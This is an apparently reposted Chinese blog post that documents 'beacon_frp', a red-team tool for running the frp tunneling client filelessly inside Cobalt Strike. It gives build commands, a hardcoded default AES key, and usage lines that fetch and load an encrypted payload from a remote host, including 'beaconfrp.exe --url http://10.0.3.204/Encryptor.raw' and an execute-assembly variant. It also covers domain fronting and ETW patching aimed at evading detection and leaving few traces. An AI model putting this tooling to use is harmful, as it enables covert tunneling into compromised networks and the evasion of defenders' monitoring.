前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >beacon_frp

beacon_frp

作者头像
黑白天安全
发布2022-11-11 16:52:31
1.2K0
发布2022-11-11 16:52:31
举报

特点介绍

内存运⾏

即不落地PE⽂件。落地的是⼀个经过aes加密(可以通过修改源代 码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。

⽀持域前置

PatchETW

远程HTTP下载 payload or 配置⽂件

1.frp源代码的修改

修改读取config配置的⽅式

修改编译exe为DLL

流量混淆

域前置 启⽤websocket配合CDN做域前置,这⾥域前置的host需要⾃⼰修改。

WSS 这个要⾃⼰改,这个是⾃带的包。

这个是websocket请求的路径,可以根据这个路径给CDN配置不同的请求源。

2.BeaconFRP

sharpfrp:

代码语言:javascript
复制
https://github.com/Conyon1/SharpFrp sharpfrp

在测试的时候我发现他会将dll写到缓存⽬录⾥,我觉得 并不好。加上我之前⼀直想在cs⾥运⾏frp,主要就是cs他有⼀个⼤⼩限制1MB。所以我没办法内存运⾏,如果其他c2的话我觉得完全有可能连aes加密的⽂件都不落地。

Dinvoke:https://github.com/TheWover/DInvoke 感谢这个作者提供的Dinvoke,他是frp能在内存中运⾏的重要的⼀环。

如果要加⼊域前置,⾃⼰稍微修改⼀下host就可以了。

request.Accept = "www.baidu.com"

加密使用

1.编译DLL

通过修改的frp-dev编译出来⼀个dll,由于源代码经过了修改,所以必须⾃⾏编译 ⼀份frps配合frpc使⽤。

代码语言:javascript
复制
go build --buildmode=c-shared -ldflags= -o ./main.dll main.go

frps

代码语言:javascript
复制
go build --buildmode=c-shared -ldflags= -o  main.go

2.加密dll和配置⽂件

代码语言:javascript
复制
frpcompress.exe  
frpcompress.exe --file <rawfilepath> --config <configfilepath> [--aeskey <aeskey> ]
代码语言:javascript
复制
--file 加密的Payload
--config 配置⽂件
--asekey 可选参数
默认密钥:0gw9zyrA7k6FPr2UvhcmOw==

Eg:

代码语言:javascript
复制
base64_configdata:aes加密和base64加密的配置⽂件  
main.dll.raw 是经过aes加密和压缩的main.dll  
Encryptor.raw 是⽤于远程加载frp的⽂件,将加密后的main.dll和frpc的配置⽂ 件写在了⼀起。只要给⼀个url便会⾃动解析配置⽂件。

如果使⽤main.dll.raw 就需要使⽤--config参数⾃定义配置⽂件。如果使⽤ Encryptor.raw就不需要,因为程序⾃动读取配置⽂件集成在⼀起了。

直接编译frpcompress

加密frpc.in和frpc.dll

代码语言:javascript
复制
.\frpcompress.exe --file C:\Users\qax\Desktop\Beacon_Frp\test\frpc.dll --config C:\Users\qax\Desktop\Beacon_Frp\test\frpc.ini

返回:

代码语言:javascript
复制
base64_configdata: I9v4IeIc4GCTPdP6SFXcr4EfP+BbA2vH7cV6WcTVnZEUh8oNa//ELB5cWNoyn+pIhbf+PrsjnmiyNbZKK16aovTP4SMy7aCWySX+Z9job8/rwCJWRLIZM3AwsdK6y+DkmNuwvTUaq3BZ2aBI0+sbFh2X6VM7gSdab3/4q62Oi3m5+KHnw2AGy431KlMwxGdgApAFwvLcjZi4kIyFPggr9fxJButVhwGWLSu0oHaQUxFM3eRF1pSHw6Dv5iHqMPX3

和加密后的文件

frp

beacon_frp文件夹为内存加载源码,直接编译就行

beaconfrp.exe 参数介绍

代码语言:javascript
复制
Usage: beaconfrp.exe <--file|--url> [--asekey] [--config]  

Argument:
--url Download configuration files and payloads remotely
--file aes encrypted payload
--aeskey base64 encoded aes key (default: 0gw9zyrA7k6FPr2UvhcmOw== )
--config AES-encrypted base64-encoded configuration file, when using remote loading, it will automatically read the remote file loading configuration without specifying it again  

Example:
beaconfrp.exe --file  If no key is specified, the default aes key is used.
beaconfrp.exe --url  Using the remote download function.
beaconfrp.exe --aeskey  --file  
beaconfrp.exe --aeskey  --url  Decrypt payload and configuration file with custom key.
beaconfrp.exe --url  --config
beaconfrp.exe --file  --config Specify the config parameter on the command line.

本地加载frp

与远程加载相⽐本地加载会落地⼀个aes加密过的⽂件 ,使⽤frpc.dll.raw加载⼀定要指定--config,不指定就会报错。

代码语言:javascript
复制
beaconfrp.exe --url Encryptor.raw
beaconfrp.exe --file frpc.dll.raw --config I9v4IeIc4GCTPdP6SFXcr4EfP+BbA2vH7cV6WcTVnZEeNZHDLcDZI0XrCb4q XYLyAv4WYPH4L/HtFUGnjogZ9ExlFC4ASuT+ewMAaJ1r+j38vCxP03hZrHlGubFDavOPABnbA/SBmV8xMnT0RjyKqTJNmmXxUP2gibj0Uxp/5E3e6VwyUx jzQx2lyN26lYHkBeYVQd1Cn/tiw6Rj99P5pHuxeqxdr4ePmDAVzwcLNjLpziln NaLefH3SxD9UqOu

使⽤Encryptor.raw加载

远程加载

代码语言:javascript
复制
C:\Users\qax\Desktop\Beacon_Frp\test\beaconfrp.exe --url http://10.0.3.204/Encryptor.raw

内存加载

代码语言:javascript
复制
execute-assembly C:\Users\qax\Desktop\Beacon_Frp\test\beaconfrp.exe --url http://10.0.3.204/Encryptor.raw

frps

OPSEC

PatchETW

代码语言:javascript
复制
https://idiotc4t.com/defense-evasion/memory-pacth-bypass-etw
https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/

通常在红队行动中,面临的最大挑战并不是诸如杀毒、EDR之类的防护软件,红队行动中工具&代码的杀毒绕过只是事前工作(基本功),所以攻击者使用的工具&代码往往在本地就比较完备的完成了免杀工作,在这样的背景下,如何让工具尽可能少的留下痕迹就成为了红队成员首要解决的问题。

在cobaltstrike中实现了在非托管进程中加载托管代码的功能模块execute-assembly,而这个功能因为操作系统提供的API( ICLRMetaHost、ICLRRuntimeInfo、ICLRRuntimeHost)在实现上并不复杂,但是这并不影响它的实用性。

落地情况

落地的是⼀个经过aes加密(可以通过修改源代码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。

使用http加载不会落地这个数据文件。建议使用http来加载。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 特点介绍
    • 内存运⾏
      • ⽀持域前置
        • PatchETW
          • 远程HTTP下载 payload or 配置⽂件
          • 1.frp源代码的修改
          • 流量混淆
          • 2.BeaconFRP
          • 加密使用
            • 1.编译DLL
              • 2.加密dll和配置⽂件
              • frp
              • 本地加载frp
                • 使⽤Encryptor.raw加载
                • 远程加载
                • 内存加载
                • frps
                • OPSEC
                  • PatchETW
                    • 落地情况
                    相关产品与服务
                    内容分发网络 CDN
                    内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容,避免因网络拥堵、跨运营商、跨地域、跨境等因素带来的网络不稳定、访问延迟高等问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档